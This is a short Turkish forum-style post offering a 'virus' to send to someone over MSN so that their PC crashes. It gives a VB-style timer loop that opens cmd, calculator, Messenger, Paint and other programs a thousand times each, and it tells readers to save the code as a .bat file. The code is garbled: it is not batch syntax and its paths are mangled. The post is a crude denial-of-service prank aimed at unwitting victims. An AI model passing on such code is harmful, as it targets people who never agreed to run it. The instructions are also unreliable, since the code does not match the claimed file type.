bunu not defterine kaydedip .bat uzantısını ekliyorsunuz.
olay şu: siz bu virüsü msn de birine attıktan sonra adamın pc çöküyo....
Private Sub Timer1_timer()
For i = 1 To 1000
Shell \\cmd\\
Shell \\calc\\
Shell \\C:&l92;Program Files&l92;Messenger&l92;msmsgs.exe\\
Shell \\explorer\\
Shell \\mspaint\\
Shell \\sndrec32\\
Shell \\C:&l92;Program Files&l92;Movie Maker&l92;moviemk.exe\\
Shell \\winmine\\
Next
End Sub